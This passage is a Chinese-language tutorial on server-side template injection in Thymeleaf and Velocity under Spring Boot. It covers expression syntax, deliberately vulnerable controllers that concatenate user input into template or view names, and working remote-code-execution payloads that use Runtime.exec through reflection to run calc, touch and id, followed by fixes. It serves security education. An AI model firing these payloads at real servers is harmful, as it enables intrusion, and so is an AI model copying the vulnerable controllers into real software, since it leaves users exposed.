可以在属性值或其一部分中找到它们,具体取决于属性的类型:
1 <span th:text ="${book.author.name} " >
以上表达式在OGNL 和SpringEL 中等效于:
1 ((Book)context.getVariable("book" ) ).getAuthor() .getName()
但我们可以在不仅涉及输出的情况下找到变量表达式,还包括更复杂的处理,例如条件语句、迭代等:
1 <li th:each ="book : ${books} " >
这里,${books}
从上下文中选择名为 books 的变量,并将其评估为可迭代的,以在 th:each
循环中使用。
选择表达式 选择表达式 *{...}
与变量表达式非常相似,只是它们将在先前选择的对象上执行 ,而不是在 整个上下文变量映射上执行
形式如下:
它们所操作的对象由 th:object
属性指定:
1 2 3 4 5 <div th:object ="$ {book} " >... <span th:text ="* {title} " > ...</span > ... </div >
等同于:
1 2 3 4 5 6 {final Book selection = (Book)context.getVariable("book" ); output(selection.getTitle()); }
消息表达式 消息表达式#{...}
(通常称为文本外部化、国际化或i18n)允许我们从外部源(.properties 文件)检索特定于语言环境的消息,通过引用一个键并(可选)应用一组参数来引用它们。
在 Spring 应用程序中,这将自动与 Spring 的 MessageSource 机制集成
1 2 3 # {main.title} # {message.entrycreated(${entryId} )}
可以在模板中找到它们,如下所示:
1 2 3 4 5 6 <table > ... <th th:text ="# {header.address.city} " > ...</th > <th th:text ="# {header.address.country} " > ...</th > ... </table >
可以在消息表达式中使用变量表达式,如果希望消息键由上下文变量的值确定,或者想将变量指定为参数。
例如:
1 #{${config.adminWelcomeKey}(${session .user .name})}
链接表达式 链接表达式 @{...}
旨在构建URL 并向其添加有用的上下文和会话信息(通常称为URL 重写过程)
因此,对于部署在Web 服务器的/myapp 上下文中的Web 应用程序,例如:
1 <a th:href ="@ {/order /list} " > ...</a >
可以转换成
1 <a href ="/myapp/order/list" > ...</a >
如果需要保持会话并且未启用 cookie(或者服务器尚未知道),则可以转换为以下内容:
1 <a href ="/myapp/order/list;jsessionid=23fa31abd41ea093" > ...</a >
URL 还可以带参数:
1 <a th:href ="@ {/order /details(id=${orderId} ,type=$ {orderType} )}" > ...</a >
结果如下所示:
在标签属性中应该对&符号进行 HTML 转义
1 <a href ="/myapp/order/details?id=23& type=online" > ...</a >
链接表达式可以是相对的,这种情况下不会添加应用程序上下文前缀到URL 中:
1 <a th:href ="@ {../documents/report} " > ...</a >
也可以是服务器相对的(同样没有应用程序上下文前缀):
1 <a th:href ="@ {~/contents/main} " > ...</a >
还可以是协议相对的(与绝对URL 类似,但浏览器将使用在显示页面时使用的HTTP 或HTTPS 协议):
1 <a th:href ="@ {//static.mycompany.com /res/initial} " > ...</a >
也可以是绝对的:
1 <a th:href ="@ {http://www.mycompany.com/main} " > ...</a >
分段表达式
3.x 版本后才有该表达式
分段段表达式 ~{...}
是一种表示标记片段并将其移动到模板周围的简单方法
常见的用法是使用 th:insert 或 th:replace: 插入片段:
1 <div th:insert ="~ {commons :: main} " > ...</div >
同样在任何地方使用,就像任何其他变量一样,也可以有参数:
1 2 3 <div th:with ="frag=~ {footer :: #main/text()} " > <p th:insert ="$ {frag} " ></div >
表达式预处理
参考:https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#preprocessing
除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式
预处理的表达式与普通表达式完全一样,但被双下划线符号( __${expression}__
)包围。
1 #{selection.__${sel.code }__}
变量表达式 ${sel.code} 将先被执行,假如结果是 “ALL” ,
那么_之间的值 “ALL” 将被看做表达式的一部分被执行,在这里会变成 selection.ALL
简单理解就是二次模板扫描
SpringBoot 整合Thymeleaf 新建Thymeleafdemo
的springboot项目,选择Spring Web 和 Thymelef 依赖
在src/main/resources/templates/
创建一个index.html 文件,内容如下:
1 2 3 4 5 6 7 8 9 10 <!DOCTYPE html > <html lang ="en" xmlns:th ="http://www.thymeleaf.org" > <head > <meta charset ="UTF-8" > <title > SpringBoot 整合 Thymeleaf</title > </head > <body > <span th:text ="${data}" > </span > </body > </html >
在src/main/java/com/example/thymeleafdemo
创建ThymeleafController
Java 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.example.thymeleafdemo;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.RequestMapping;@Controller public class ThymeleafController { @RequestMapping("/") public String index (Model model) { model.addAttribute("data" , "Hello Thymeleaf!" ); return "index" ; } }
启动项目并访问
Thymeleaf 模板注入漏洞 Thymeleaf 3.0.0 至 3.0.11 版本存在模板注入漏洞 。该漏洞在Thymeleaf 3.0.12 及以后版本已经得到修复,但还是存在一些 Bypass 的方式
该漏洞通常发送在使用动态输入 来生成模板的情况下
在 Thymeleaf 中,可以使用表达式来动态设置模板的值
例如:
此时攻击者可以使用类似
1 ${T (java.lang .Runtime).getRuntime ().exec ('calc' )}
的表达式来执行任意系统命令
漏洞代码示例 项目来源:https://github.com/veracode-research/spring-view-manipulation/
以下漏洞主要核心其实就是控制了return 的值
1.选择模板:
在src/main/java/com/veracode/research/HelloController.java
第24,25行代码中
1 2 3 4 @GetMapping ("/path" )public String path (@RequestParam String lang ) { return "user/" + lang + "/welcome" ; }
应用场景比如说:国际化语言切换,定义 CN 模板和 EN 模板,通过修改 lang 的参数来实现中英文页面展示
但这里通过直接拼接路径名来实现模板的选择,从而造成模板注入,lang由web请求的参数值来决定,因此可以通过参入lang的参来实现攻击
1 2 3 4 5 //GET /path ?lang=en HTTP/1.1//GET /path ?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime) .getRuntime () .exec (%22calc%22) .getInputStream () ).next () %7d__::.x //url 解码//__ ${new java.util.Scanner(T(java.lang.Runtime) .getRuntime () .exec ("calc") .getInputStream () ).next () }__::.x
2.片段选择:
1 2 3 4 @GetMapping ("/fragment" )public String fragment (@RequestParam String section ) { return "welcome :: " + section; }
这段代码是片段选择器存在模板注入问题,在 section 参数中传入攻击语句
在分段表达式中有一个 片段选择器 语法,用于选择模板中的某个片段或元素,并在页面中渲染该片段或元素。片段选择器通常以 th: 开头,例如th:fragment 或th:include 。 th:fragment 用于定义一个片段, th:include 用于在页面中包含一个片段
1 2 3 //GET /fragment?section = main //GET /fragment?section = __$%7 bnew%20 java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22 touch%20 executed%22 ).getInputStream()).next()%7 d__::.x
3.拼接路径:
1 2 3 4 5 @GetMapping("/doc/{document}") public void getDocument (@PathVariable String document) { log.info("Retrieving " + document); }
由于返回为空,所以视图名字会从 URI 中获取,并且接收了 document 的传参,可以键入以下攻击语句
1 http://127.0 .0 .1 :8090 /doc/__ $%7bnew %20java .util.Scanner(T(java.lang .Runtime).getRuntime().exec(%22calc %22 ).getInputStream()).next ()%7d__:: .x
Thymeleaf 模板注入漏洞修复 设置ResponseBody 1 2 3 4 5 @GetMapping("/safe/fragment") @ResponseBody public String safeFragment (@RequestParam String section) { eturn "welcome :: " + section; }
仅在原有的代码基础上添加一行@ResponseBody
注解,使Spring将返回值作为响应体处理,而不再是视图名称,因此防御住了模板注入
但其实这样防御也失去了其原有的片段选择功能
其实在明确可选的片段只有header和main后,其实可以为其设置个白名单,仅允许传入的值为header或mian,其余值均返回指定响应值,不进入return拼接
设置重定向redirect 1 2 3 4 @GetMapping("/safe/redirect") public String redirect (@RequestParam String url) { return "redirect:" + url; }
当视图名称以 redirect:
前缀开头时,Spring 不再使用 Spring ThymeleafView 解析 ,而是使用RedirectView 解析,该视图不会执行表达式
但这个示例存在 URL 跳转漏洞
设置response 响应 1 2 3 4 @GetMapping("/safe/doc/{document}") public void getDocument (@PathVariable String document, HttpServletResponse response) { log.info("Retrieving " + document); }
由于控制器在参数中具有 HttpServletResponse,Spring 认为已经处理了HTTP 响应 ,因此视图名称解析就不会发生
这个检查存在于 ServletResponseMethodArgumentResolver 类中
Velocity 官网:https://velocity.apache.org/
漏洞限制:要求Velocity 版本小于等于 2.2
velocity 基础 模板页面 一个基础的 vtl 的模板文件页面如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <html> <body> Hello $customer.Name!<table> <tr> <td> $flogger.getPromo( $mud ) </td> </tr> </table> </body> </html>
模板语言 VTL VTL 使用引用的方式将动态内容嵌入网站,变量是其中一种引用的类型,它可以引用 Java 代码中定义的内容,或者可以从网页中的 VTL 语句中获取其值。
例如:
和所有 VTL 语句一样,以 #
字符开头并包含一个指令,比如上面的 set
上面的示例中,变量是 $a
,值为 Velocity
这个变量,和所有引用一样,以$
字符开头,字符串值始终用引号括起来,可以是单引号或双引号
变量 在 Velocity 模板语言中,变量使用 $
符号来引用,例如 $variable_name
变量可以引用 Java 对象,Map 中的键值对,以及其他的数据类型
比如上面示例模板文件中的 $mud
,可以获取通过上下文以及后端传递获取 $mud
变量值
1 2 3 4 $foo $mudSlinger $mud _slinger$mudSlinger1
方法 1 2 3 4 $customer .getAddress ()$purchase .getTotal ()$page .setTitle ( "My Home Page" )$person .setAttributes ( ["Strange" , "Weird" , "Excited" ] )
set 指令 #set
指令用于设置引用的值
一个值可以被赋给一个变量引用或一个属性引用,并且这发生在括号中
1 2 # set ( $primate = "monkey" ) # set ( $ .Behavior customer = $primate )
赋值语句的左侧必须是一个变量引用或一个属性引用
右侧可以是以下类型之一:
变量引用
字符串字面量
属性引用
方法引用
数字字面量
ArrayList Map
例如:
1 2 3 4 5 6 7 # set ( $monkey = $bill ) ## variable reference# set ( $monkey .Friend = "monica" ) ## string literal# set ( $monkey .Blame = $whitehouse .Leak ) ## property reference# set ( $monkey .Plan = $spindoctor .weave ($web ) ) ## method reference# set ( $monkey .Number = 123 ) ## number literal# set ( $monkey .Say = ["Not" , $my , "fault" ] ) ## ArrayList# set ( $monkey .Map = {"banana" : "good" , "roast beef" : "bad" }) ##Map
set 指令攻击语句 **示例一: **
1 #set($e="e" );$e.getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ,null ).invoke(null ,null ).exec("calc" )
它定义了一个名为 $e
的变量并将其赋值为字符串 “e”
然后,该代码使用 Java 的反射机制,获取了运行时类 java.lang.Runtime ,调用了它的 getRuntime() 方法,并使用 exec() 方法执行了一个操作系统命令 “calc”
示例二:
1 2 3 4 5 6 7 8 # set ($x ='') ### set ($rt = $x .class .forName ('java .lang .Runtime ') )### set ($chr = $x .class .forName ('java .lang .Character ') )### set ($str = $x .class .forName ('java .lang .String ') )### set ($ex =$rt .getRuntime () .exec('id'))## $ex.waitFor()# set ($out =$ex .getInputStream () )### foreach ( $i in [1..$out .available () ])$str.valueOf($chr.toChars($out.read()))#end
首先,第一行定义了一个空字符串变量$x
接下来的三行代码通过反射获取了三个Java 类: java.lang.Runtime , java.lang.Character 和java.lang.String ,用于在运行时执行系统命令和操作字符串
接下来的一行代码使用 Java 反射机制执行了一个系统命令id
执行结果存储在变量$ex
中
然后通过调用 $ex.waitFor() 等待系统命令执行完毕
然后获取$ex
的输出流,并将其存储在变量$out
中
最后,使用一个foreach 循环来遍历$out
的所有可用字节,并将它们转换为字符输出
整段代码的效果是获取’id’命令的输出结果并将其作为字符串输出
示例三:
1 2 3 4 5 6 7 8 9 # set ($e = "exp" )# set ($a = $e .getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" , null).invoke(null, null).exec ($cmd ))# set ($input = $e .getClass().forName("java.lang.Process" ).getMethod("getInputStream" ).invoke($a ))# set ($sc = $e .getClass().forName("java.util.Scanner" ))# set ($constructor = $sc .getDeclaredConstructor($e .getClass().forName("java.io.InputStream" )))# set ($scan = $constructor .newInstance($input ).useDelimiter("\A" ))# if ($scan .hasNext()) $scan.next()# end
创建变量 $e
,, 并将其设置为字符串 “exp” 调用 Java 反射 API 来获取 Runtime 类的一个方法,并使用 exec 方法执行 $cmd
变量中存储的命令
保存命令的输出在变量 $input
中
使用 Java 反射 API 获取 Scanner 类和其构造函数,以及使用$input
变量创建 Scanner 对象
该对象的 useDelimiter 方法设置了输入流的分隔符
最后,代码检查 Scanner 对象是否有下一个输入,判断是否该输出
Velocity 模板注入漏洞 Velocity 模板注入漏洞即是 CVE-2020-13936:https://velocity.apache.org/news.html#CVE-2020-13936
并不是所有的Velocity 编写的程序都有可能出现模板注入问题,Velocity 小于等于 2.2 版本才存在 模板注入
漏洞源码示例 https://github.com/nth347/Java-SSTI-demo/blob/master/src/main/java/nth347/javasstidemo/MainController.java
创建VelocityDemo
的springboot项目,选择spring web依赖
再在pom引入有漏洞的Velocity版本
1 2 3 4 5 <dependency > <groupId > org.apache.velocity</groupId > <artifactId > velocity</artifactId > <version > 1.7</version > </dependency >
evaluate 触发 在 Velocity 模板引擎中, evaluate 方法用于将 Velocity 模板字符串与上下文数据进行组合并生成最终结果
evaluate 方法的基本语法如下:
1 public boolean evaluate (Writer writer, Context context, String logTag, String instring) throws ParseErrorException, MethodInvocationException,ResourceNotFoundException, IOException
writer :输出结果的写入器,用于将生成的结果写入到指定位置
context :上下文数据,即用于替换模板中占位符的数据
logTag :日志标签,用于在日志中区分不同的 evaluate 调用
instring :待处理的 Velocity 模板字符串
该方法返回一个布尔值,表示是否成功执行了模板渲染
创建一个名为VelocityEvaluate
的 Java Class,并写入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.example.velocitydemo;import org.apache.velocity.VelocityContext;import org.apache.velocity.app.Velocity;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import java.io.StringWriter;@Controller public class VelocityEvaluate { @RequestMapping("/velocity/evaluate") @ResponseBody public String velocity1 (@RequestParam(defaultValue="hey") String username) { String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email" ; Velocity.init(); VelocityContext ctx = new VelocityContext (); ctx.put("name" , "hey hey hey" ); ctx.put("phone" , "012345678" ); ctx.put("email" , "hey@example.com" ); StringWriter out = new StringWriter (); Velocity.evaluate(ctx, out, "test" , templateString); return out.toString(); } }
payload:
1 http:// 127.0 .0 .1 :8080 /velocity/evaluate?username=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
merge 触发 merge
方法用于将 Velocity 模板字符串与上下文数据进行组合并生成最终结果
1 public void merge (Template template, Context context, Writer writer) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException,IOException
template :待处理的 Velocity 模板
context :上下文数据,即用于替换模板中占位符的数据
writer :输出结果的写入器,用于将生成的结果写入到指定位置
可以新建名为VelocityMerge
的 Java Class,然后写入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package com.example.velocitydemo;import org.apache.velocity.Template;import org.apache.velocity.VelocityContext;import org.apache.velocity.runtime.RuntimeServices;import org.apache.velocity.runtime.RuntimeSingleton;import org.apache.velocity.runtime.parser.ParseException;import org.apache.velocity.runtime.parser.node.SimpleNode;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import java.io.IOException;import java.io.StringReader;import java.io.StringWriter;import java.nio.file.Files;import java.nio.file.Paths;@Controller public class VelocityMerge { @RequestMapping("/velocity/merge") @ResponseBody public String velocity2 (@RequestParam(defaultValue="hey") String username) throws IOException, ParseException { String templateString = new String (Files.readAllBytes(Paths.get("./eval.vm" ))); templateString = templateString.replace("<USERNAME>" , username); StringReader reader = new StringReader (templateString); VelocityContext ctx = new VelocityContext (); ctx.put("name" , "hey hey hey" ); ctx.put("phone" , "012345678" ); ctx.put("email" , "hey@example.com" ); StringWriter out = new StringWriter (); Template template = new Template (); RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices(); SimpleNode node = runtimeServices.parse(reader, String.valueOf(template)); template.setRuntimeServices(runtimeServices); template.setData(node); template.initDocument(); template.merge(ctx, out); return out.toString(); } }
这里,代码中采用从指定路径(eval.vm)中读取模板,如果模板内容我们可控,就可以往其中加入攻击payload,再通过merge渲染触发该攻击
往eval.vm中添加:
1 #set($e="e" );$e.getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ,null ).invoke(null ,null ).exec("calc" )
之后访问:
1 http:// 127.0 .0.1 :8080 /velocity/m erge?username=1
成功触发该攻击
Velocity 模板注入漏洞修复 升级到 2.2 以上或最新版本:https://velocity.apache.org/download.cgi